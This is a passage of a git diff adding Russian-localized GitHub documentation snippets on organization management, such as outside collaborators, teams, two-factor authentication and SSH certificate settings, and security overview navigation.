+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122475" +--- +Сторонний участник совместной работы — это лицо, которое имеет доступ к одному или нескольким репозиториям организации, но не является явным образом членом организации, например, консультант или временный сотрудник. Дополнительные сведения см. в разделе: + +- [Добавление сторонних участников совместной работы в репозитории в вашей организации](/articles/adding-outside-collaborators-to-repositories-in-your-organization) +- [Преобразование участника организации во внешнего участника совместной работы](/articles/converting-an-organization-member-to-an-outside-collaborator) +- "[Удаление внешнего участника совместной работы из репозитория организации](/articles/removing-an-outside-collaborator-from-an-organization-repository)" diff --git a/translations/ru-RU/data/reusables/organizations/owners-and-admins-can.md b/translations/ru-RU/data/reusables/organizations/owners-and-admins-can.md new file mode 100644 index 000000000000..81e5ed221c1e --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/owners-and-admins-can.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2af0440764f0312cf95ea726f661580c2dd70b14 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122472" +--- +Только участники с правами владельца для организации или правами администратора для репозитория могут diff --git a/translations/ru-RU/data/reusables/organizations/owners-team.md b/translations/ru-RU/data/reusables/organizations/owners-team.md new file mode 100644 index 000000000000..b66f0838ca8b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/owners-team.md @@ -0,0 +1,8 @@ +1. Under your organization name, click {% octicon "people" aria-label="The people icon" %} **Teams**. + {% ifversion fpt or ghes or ghec %} + ![Teams tab](/assets/images/help/organizations/organization-teams-tab-with-overview.png) + {% else %} + ![Teams tab](/assets/images/help/organizations/organization-teams-tab.png) + {% endif %} +1. On the Teams tab, click **Owners**. + ![Owners team selected](/assets/images/help/teams/owners-team.png) diff --git a/translations/ru-RU/data/reusables/organizations/people-export.md b/translations/ru-RU/data/reusables/organizations/people-export.md new file mode 100644 index 000000000000..d8c21094545c --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/people-export.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: daffa09ee1e17affb693cd3f63f4f941db08822f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885687" +--- +1. Справа от панели поиска выберите раскрывающееся меню "Экспорт" и укажите нужный формат экспорта. + ![Снимок экрана: кнопка экспорта.](/assets/images/help/organizations/people-tab-export.png) diff --git a/translations/ru-RU/data/reusables/organizations/people.md b/translations/ru-RU/data/reusables/organizations/people.md new file mode 100644 index 000000000000..d69d13281b2c --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/people.md @@ -0,0 +1,6 @@ +1. Under your organization name, click {% octicon "person" aria-label="The Person icon" %} **People**. + {% ifversion fpt or ghes or ghec %} + ![The People tab](/assets/images/help/organizations/organization-people-tab-with-overview-tab.png) + {% else %} + ![The People tab](/assets/images/help/organizations/organization-people-tab.png) + {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/people_tab_outside_collaborators.md b/translations/ru-RU/data/reusables/organizations/people_tab_outside_collaborators.md new file mode 100644 index 000000000000..6aab0c0317d1 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/people_tab_outside_collaborators.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f3990c1ed67b894ee33c4f142dfe504871e2d1cf +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122448" +--- +4. На вкладке "Люди" щелкните **Outside collaborators** (Внешние участники совместной работы). +![Кнопка выбора внешних участников совместной работы для организации](/assets/images/help/organizations/select-outside-collaborators.png) diff --git a/translations/ru-RU/data/reusables/organizations/reinstate-user-type-username.md b/translations/ru-RU/data/reusables/organizations/reinstate-user-type-username.md new file mode 100644 index 000000000000..614ca454a9d9 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/reinstate-user-type-username.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9b8456eea0fddf7b06e0de9e597fbc3d135784d6 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878775" +--- +1. Введите имя пользователя того человека, которого хотите восстановить, и нажмите кнопку **Пригласить**. diff --git a/translations/ru-RU/data/reusables/organizations/removed_outside_collaborators.md b/translations/ru-RU/data/reusables/organizations/removed_outside_collaborators.md new file mode 100644 index 000000000000..6f970b74beeb --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/removed_outside_collaborators.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ab58f06dfd1de2eea4fce2456edb149e3a35ccc9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122411" +--- +1. При появлении запроса прочитайте сведения о членах и внешних участниках совместной работы, которые будут удалены из организации. Введите имя предприятия, чтобы подтвердить изменение, а затем щелкните **Remove members & require two-factor authentication** (Удалить членов и требовать двухфакторную проверку подлинности). + ![Окно для подтверждения принудительной двухфакторной проверки подлинности](/assets/images/help/organizations/confirm-require-2fa.png) diff --git a/translations/ru-RU/data/reusables/organizations/repo-creation-constants.md b/translations/ru-RU/data/reusables/organizations/repo-creation-constants.md new file mode 100644 index 000000000000..17f0f3d5d08c --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/repo-creation-constants.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0e8dd11eb69439eaa5f6a441646c486704f1702b +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147874428" +--- +Владельцы организации могут в любое время создать любой тип репозитория, а внешние участники совместной работы не могут создать никакой тип репозитория. Дополнительные сведения см. в разделе [Сведения о репозиториях](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). diff --git a/translations/ru-RU/data/reusables/organizations/repository-defaults.md b/translations/ru-RU/data/reusables/organizations/repository-defaults.md new file mode 100644 index 000000000000..bb34fffba4f1 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/repository-defaults.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Code, planning, and automation" section of the sidebar, select **{% octicon "repo" aria-label="The repo icon" %} Repository**, then click **Repository defaults**. +{% else %} +1. In the left sidebar, click **Repository defaults**. + ![Repository defaults tab](/assets/images/help/organizations/repo-defaults-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/repository-labels.md b/translations/ru-RU/data/reusables/organizations/repository-labels.md new file mode 100644 index 000000000000..bd612aeb4673 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/repository-labels.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2e8b7d6bec8d94c6e70391341b3e1465a8356f3f +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122395" +--- +1. На левой боковой панели щелкните **Метки репозитория**. diff --git a/translations/ru-RU/data/reusables/organizations/require-ssh-cert.md b/translations/ru-RU/data/reusables/organizations/require-ssh-cert.md new file mode 100644 index 000000000000..f32d47ac1b44 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/require-ssh-cert.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2f27cc8f89cfa028a5e07512c1528152a9bd4941 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122392" +--- +1. При необходимости, чтобы обязать участников использовать сертификаты SSH, выберите **Require SSH Certificates** (Требовать сертификаты SSH), а затем нажмите кнопку **Сохранить**. + ![Флажок принудительного использования сертификатов SSH и кнопка "Сохранить"](/assets/images/help/organizations/require-ssh-cert.png) diff --git a/translations/ru-RU/data/reusables/organizations/require_two_factor_authentication.md b/translations/ru-RU/data/reusables/organizations/require_two_factor_authentication.md new file mode 100644 index 000000000000..dfee0e163344 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/require_two_factor_authentication.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 53312c4b6c76ee95f42088cbfa0ed5b5c40661f3 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885983" +--- +1. В разделе "Проверка подлинности" выберите **Require two-factor authentication for everyone in your organization** (Требовать двухфакторную проверку подлинности для всех пользователей в организации), а затем нажмите кнопку **Сохранить**. + ![Флажок "Require 2FA" (Требовать двухфакторную проверку)](/assets/images/help/organizations/require-2fa-checkbox.png) diff --git a/translations/ru-RU/data/reusables/organizations/reseller-ask-to-become-billing-manager.md b/translations/ru-RU/data/reusables/organizations/reseller-ask-to-become-billing-manager.md new file mode 100644 index 000000000000..083c2f6a62bd --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/reseller-ask-to-become-billing-manager.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 3aeebfb94e77201b11f8c404b515b451100b016d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122384" +--- +Если вы не являетесь менеджером по выставлению счетов для организации, попросите клиента, чтобы *владелец* организации [добавил вас в организацию в качестве менеджера по выставлению счетов](/articles/adding-a-billing-manager-to-your-organization). diff --git a/translations/ru-RU/data/reusables/organizations/restrict-email-notifications.md b/translations/ru-RU/data/reusables/organizations/restrict-email-notifications.md new file mode 100644 index 000000000000..7319ca783080 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/restrict-email-notifications.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: bcff5b69bba57d56224c0f12093e85ab052fe132 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122379" +--- +1. В разделе "Параметры уведомлений" выберите **Ограничить уведомления по электронной почте утвержденными или проверенными доменами**. + ![Флажок ограничения уведомлений по электронной почте адресами проверенных доменов](/assets/images/help/organizations/restrict-email-notifications-to-domain.png) diff --git a/translations/ru-RU/data/reusables/organizations/restricted-app-access-requests.md b/translations/ru-RU/data/reusables/organizations/restricted-app-access-requests.md new file mode 100644 index 000000000000..3d3721447a7b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/restricted-app-access-requests.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6f6126a0bca965f0299922e2bf614be2713ef80a +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148106656" +--- +Владельцы организации могут разрешить внешним участникам совместной работы запрашивать доступ к неутвержденным {% data variables.product.prodname_oauth_apps %} и {% data variables.product.prodname_github_apps %}. Дополнительные сведения см. в разделе [Ограничение запросов на доступ к приложениям OAuth и приложению GitHub](/organizations/managing-organization-settings/limiting-oauth-app-and-github-app-access-requests). diff --git a/translations/ru-RU/data/reusables/organizations/review-team-repository-access.md b/translations/ru-RU/data/reusables/organizations/review-team-repository-access.md new file mode 100644 index 000000000000..be656e1c851f --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/review-team-repository-access.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 47ae3d9e663d01b976bd58902c2956930d3ba002 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122368" +--- +1. Просмотрите список репозиториев, к которым будет иметь доступ новый член команды, а затем нажмите кнопку **Добавить _имя_пользователя_ в _имя_команды_**. + ![Модальное окно со списком репозиториев, к которым будет иметь доступ новый член команды, и кнопка подтверждения](/assets/images/help/teams/add-team-member-repo-perms.png) diff --git a/translations/ru-RU/data/reusables/organizations/security-and-analysis.md b/translations/ru-RU/data/reusables/organizations/security-and-analysis.md new file mode 100644 index 000000000000..5954398bf574 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/security-and-analysis.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Security" section of the sidebar, click **{% octicon "codescan" aria-label="The codescan icon" %} Code security and analysis**. +{% else %} +1. In the left sidebar, click **Security & analysis**. + !["Security & analysis" tab in organization settings](/assets/images/help/organizations/org-settings-security-and-analysis.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/security-manager-beta-note.md b/translations/ru-RU/data/reusables/organizations/security-manager-beta-note.md new file mode 100644 index 000000000000..f66a1b3f216c --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/security-manager-beta-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 96c2b336594178f785884289058e066406fa9d88 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147428295" +--- +{% note %} + +**Примечание**. Роль диспетчера безопасности находится на этапе общедоступной бета-версии и может быть изменена. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/organizations/security-overview-feature-specific-page.md b/translations/ru-RU/data/reusables/organizations/security-overview-feature-specific-page.md new file mode 100644 index 000000000000..0b790eff3a03 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/security-overview-feature-specific-page.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 216ce76b3c1a475e5861fbd948d65783699985bd +ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/12/2022 +ms.locfileid: "148163158" +--- +1. Либо при необходимости используйте боковую панель слева, чтобы отфильтровать информацию для каждой функции безопасности. На каждой странице можно использовать фильтры, относящиеся к этой функции, для тонкой настройки поиска. Дополнительные сведения о доступных квалификаторах см. в разделе [Фильтрация оповещений в разделе «Общие сведения о безопасности»](/code-security/security-overview/filtering-alerts-in-the-security-overview). diff --git a/translations/ru-RU/data/reusables/organizations/security-overview.md b/translations/ru-RU/data/reusables/organizations/security-overview.md new file mode 100644 index 000000000000..92103fe2ad32 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/security-overview.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2aa66377532f53202a80fc517b88da0a3172baad +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878426" +--- +1. Под названием организации щелкните {% octicon "shield" aria-label="The Security shield" %} **Безопасность**. +![Кнопка безопасности организации](/assets/images/help/organizations/organization-security-tab.png) diff --git a/translations/ru-RU/data/reusables/organizations/security.md b/translations/ru-RU/data/reusables/organizations/security.md new file mode 100644 index 000000000000..ac736ecebbc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/security.md @@ -0,0 +1,7 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Security" section of the sidebar, click **{% octicon "shield-lock" aria-label="The shield-lock icon" %} Authentication security**. +{% else %} +1. In the left sidebar, click **Organization security**. + + ![Organization security settings](/assets/images/help/organizations/org-security-settings-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/send-invitation.md b/translations/ru-RU/data/reusables/organizations/send-invitation.md new file mode 100644 index 000000000000..1bf2ec55f79a --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/send-invitation.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2b1c62db0ca2edd95fc996d9bc4e2bfc03be411d +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885014" +--- +1. Щелкните {% ifversion fpt or ghec %}**Отправить приглашение**{% else %}**Добавить участника**{% endif %}. diff --git a/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-general.md b/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-general.md new file mode 100644 index 000000000000..14789aea6cad --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-general.md @@ -0,0 +1 @@ +{% data reusables.actions.settings-ui.settings-actions-general %} diff --git a/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-runner-groups.md b/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-runner-groups.md new file mode 100644 index 000000000000..9f8699cf3cb1 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-runner-groups.md @@ -0,0 +1 @@ +{% data reusables.actions.settings-ui.settings-actions-runner-groups %} diff --git a/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-runners.md b/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-runners.md new file mode 100644 index 000000000000..c667ed15286a --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/settings-sidebar-actions-runners.md @@ -0,0 +1 @@ +{% data reusables.actions.settings-ui.settings-actions-runners %} diff --git a/translations/ru-RU/data/reusables/organizations/specific_team.md b/translations/ru-RU/data/reusables/organizations/specific_team.md new file mode 100644 index 000000000000..3658bc8ac017 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/specific_team.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: c31720729c3317ad6155aed73ae3de4299b89971 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109599" +--- +1. Под названием организации нажмите {% octicon "people" aria-label="The people icon" %} **Команды**. + {% ifversion fpt or ghes or ghec %} ![ Вкладка](/assets/images/help/organizations/organization-teams-tab-with-overview.png) Teams {% else %} ![Вкладка](/assets/images/help/organizations/organization-teams-tab.png) Teams {% endif %} +1. На вкладке "Команды" щелкните имя команды. + ![Список команд в организации](/assets/images/help/teams/click-team-name.png) diff --git a/translations/ru-RU/data/reusables/organizations/ssh-ca-ghec-only.md b/translations/ru-RU/data/reusables/organizations/ssh-ca-ghec-only.md new file mode 100644 index 000000000000..62c883bfab28 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/ssh-ca-ghec-only.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 58a3b6ac5898fae8cb0553dc12eab983494ba856 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879133" +--- +{% ifversion fpt or ghec %} {% note %} + +**Примечание**. Чтобы использовать центры сертификации SSH, ваша организация должна использовать {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} + + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/team-api.md b/translations/ru-RU/data/reusables/organizations/team-api.md new file mode 100644 index 000000000000..d5b4f84d328a --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 93c721b3e616d3b83da5085284cd818c7df9e1ac +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122248" +--- +Этот API доступен только для членов [организации](/rest/reference/orgs) команды, которые прошли проверку подлинности. Для маркеров доступа OAuth требуется `read:org` [область](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %} создает `slug` команды из `name` команды. diff --git a/translations/ru-RU/data/reusables/organizations/team-discussions-are-for-orgs.md b/translations/ru-RU/data/reusables/organizations/team-discussions-are-for-orgs.md new file mode 100644 index 000000000000..db3acda71411 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-discussions-are-for-orgs.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 53a51343bbe72bd78f4c041727a9f32760457d9f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122243" +--- +Коллективные обсуждения доступны только на страницах команд в организациях. Дополнительные сведения см. в разделе [Сведения об обсуждениях в команде](/organizations/collaborating-with-your-team/about-team-discussions). diff --git a/translations/ru-RU/data/reusables/organizations/team-discussions-default.md b/translations/ru-RU/data/reusables/organizations/team-discussions-default.md new file mode 100644 index 000000000000..62ac1b1adb4d --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-discussions-default.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9d6fc084350c491094d264566b43ce6aaa7a9218 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879237" +--- +Коллективные обсуждения доступны в организациях по умолчанию. diff --git a/translations/ru-RU/data/reusables/organizations/team-discussions-permissions.md b/translations/ru-RU/data/reusables/organizations/team-discussions-permissions.md new file mode 100644 index 000000000000..e255bf5a1f42 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-discussions-permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: df7fdd93ec0af03513a4b5e97ced7c6ee4275f24 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122235" +--- +*Частные* записи видны только участникам команды и владельцам организации, а *общедоступные* публикации видны всем членам организации. diff --git a/translations/ru-RU/data/reusables/organizations/team-discussions-purpose.md b/translations/ru-RU/data/reusables/organizations/team-discussions-purpose.md new file mode 100644 index 000000000000..1164ab7d7af5 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-discussions-purpose.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5db8536d25ed32f8f4810479d96f6fba4c2d0e72 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122232" +--- +На странице команды можно использовать обсуждения в команде для бесед, охватывающих несколько проектов или репозиториев и не относящихся к определенной проблеме или запросу на вытягивание. Вместо того, чтобы открыть вопрос в репозитории для обсуждения идеи, вы можете привлечь к беседе всю команду, проведя обсуждение в команде. diff --git a/translations/ru-RU/data/reusables/organizations/team-discussions-tab.md b/translations/ru-RU/data/reusables/organizations/team-discussions-tab.md new file mode 100644 index 000000000000..c770f56a550e --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-discussions-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b8727cdd8af72fee81eae0f2653d75b9a04bd5ec +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122227" +--- +1. В верхней части страницы команды щелкните {% octicon "comment-discussion" aria-label="The discussion icon" %} **Обсуждения**. + ![Вкладка "Обсуждения в команде"](/assets/images/help/teams/org-team-page-discussions-tab.png) diff --git a/translations/ru-RU/data/reusables/organizations/team-repositories-tab.md b/translations/ru-RU/data/reusables/organizations/team-repositories-tab.md new file mode 100644 index 000000000000..407f75c79ac4 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-repositories-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: bc992059b28d6821a8cf98b36762bb69d99fb678 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122224" +--- +1. Над списком участников группы щелкните {% octicon "repo" aria-label="The Repository icon" %} **Репозитории**. + ![Вкладка репозиториев команды](/assets/images/help/organizations/team-repositories-button.png) diff --git a/translations/ru-RU/data/reusables/organizations/team-security-overview.md b/translations/ru-RU/data/reusables/organizations/team-security-overview.md new file mode 100644 index 000000000000..6ba30f43e99b --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-security-overview.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 27682b4e0e699a410062fa152e9b2b2b3c137c46 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145122219" +--- +1. В верхней части страницы команды щелкните {% octicon "shield" aria-label="The security icon" %} **Безопасность**. + ![Общие сведения о безопасности команды](/assets/images/help/teams/org-team-page-security-overview.png) diff --git a/translations/ru-RU/data/reusables/organizations/team-synchronization.md b/translations/ru-RU/data/reusables/organizations/team-synchronization.md new file mode 100644 index 000000000000..96be6958602e --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team-synchronization.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7f912ced218aceed3bcab3d52ac17aba5049bfea +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878597" +--- +{% ifversion fpt or ghae or ghec %} {% ifversion fpt %}Организации, использующие {% data variables.product.prodname_ghe_cloud%}, могут{% else %}Вы можете{% endif %} использовать синхронизацию команд для автоматического добавления и удаления участников организации в командах через поставщика удостоверений. Дополнительные сведения см. в разделе [Синхронизация команды с группой поставщика удостоверений]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group){% ifversion fpt %} в документации по {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %} {% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/team_description.md b/translations/ru-RU/data/reusables/organizations/team_description.md new file mode 100644 index 000000000000..62528c052b28 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team_description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2091f8d6b994df193541d035bedeb40faf0f72d0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145122171" +--- +1. Кроме того, можно ввести описание команды в поле "Описание". +![Поле описания команды](/assets/images/help/teams/org-team-description.png) diff --git a/translations/ru-RU/data/reusables/organizations/team_maintainers_can.md b/translations/ru-RU/data/reusables/organizations/team_maintainers_can.md new file mode 100644 index 000000000000..b3841a661e82 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team_maintainers_can.md @@ -0,0 +1,23 @@ +--- +ms.openlocfilehash: 91063473b138602048700554b54ff81778394656 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145122168" +--- +Участники с разрешениями координатора команды могут выполнять следующие операции: + +- [Изменение имени и описания команды](/articles/renaming-a-team) +- [Изменение видимости команды](/articles/changing-team-visibility) +- [Запрос на добавление дочерней команды](/articles/requesting-to-add-a-child-team) +- [Запрос на добавление или изменение родительской команды](/articles/requesting-to-add-or-change-a-parent-team) +- [Настройка изображения профиля команды](/articles/setting-your-team-s-profile-picture) +- [Редактирование обсуждений в команде](/articles/managing-disruptive-comments/#editing-a-comment) +- [Удаление обсуждений в команде](/articles/managing-disruptive-comments/#deleting-a-comment) +- [Добавление участников организации в команду](/articles/adding-organization-members-to-a-team) +- [Удаление участников организации из команды](/articles/removing-organization-members-from-a-team) +- [Повышение уровня существующего участника команды до координатора команды](/organizations/organizing-members-into-teams/assigning-the-team-maintainer-role-to-a-team-member) +- Удалять доступ группы к репозиториям +- [Управление назначением проверки кода для команды](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team){% ifversion fpt or ghec %} +- [Управление запланированными напоминаниями для запросов на вытягивание](/github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests){% endif %} diff --git a/translations/ru-RU/data/reusables/organizations/team_members_tab.md b/translations/ru-RU/data/reusables/organizations/team_members_tab.md new file mode 100644 index 000000000000..6908dea09ec0 --- /dev/null +++ b/translations/ru-RU/data/reusables/organizations/team_members_tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: e2417777c4c81bf9d06b0b91fefe4e94bd953d25 +ms.sourcegitcommit: 72e1c60459a610944184ca00e3ae60bf1f5fc6db +ms.translationtype: HT +ms.contentlocale: 